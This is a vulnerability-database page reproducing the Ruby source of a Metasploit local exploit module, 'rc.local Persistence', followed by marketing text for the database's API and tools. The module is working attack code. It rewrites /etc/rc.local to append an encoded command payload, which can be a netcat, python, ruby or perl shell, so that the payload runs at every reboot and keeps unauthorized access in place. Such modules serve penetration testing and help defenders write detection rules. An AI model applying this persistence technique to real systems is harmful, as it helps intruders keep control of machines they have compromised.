Lucene search
K

rc.local Persistence

🗓️ 16 Jul 2018 07:34:03Reported by Eliott TeissonniereType 
metasploit
 metasploit
🔗 www.rapid7.com👁 24 Views

rc.local Persistence. Edit /etc/rc.local to persist payload. Payload executed on next reboot

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'rc.local Persistence',
      'Description'    => %q(
        This module will edit /etc/rc.local in order to persist a payload.
        The payload will be executed on the next reboot.
      ),
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Eliott Teissonniere' ],
      'Platform'       => [ 'unix', 'linux' ],
      'Arch'           => ARCH_CMD,
      'Payload'        => {
        'BadChars'   => "#%\n",
        'Compat'     => {
          'PayloadType'  => 'cmd',
          'RequiredCmd'  => 'generic python ruby netcat perl'
        }
      },
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
      'DisclosureDate' => '1980-10-01', # The rc command appeared in 4.0BSD.
      'Targets'        => [ ['Automatic', {}] ],
      'DefaultTarget'  => 0
    ))
  end

  def exploit
    rc_path = '/etc/rc.local'

    unless writable? rc_path
      fail_with Failure::BadConfig, "#{rc_path} is not writable"
    end

    print_status "Reading #{rc_path}"

    # read /etc/rc.local, but remove `exit 0`
    rc_local = read_file(rc_path).gsub(/^exit.*$/, '')

    # add payload and put back `exit 0`
    rc_local << "\n#{payload.encoded}\nexit 0\n"

    # write new file
    print_status "Patching #{rc_path}"
    write_file(rc_path, rc_local)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
7.2High risk
Vulners AI Score7.2
24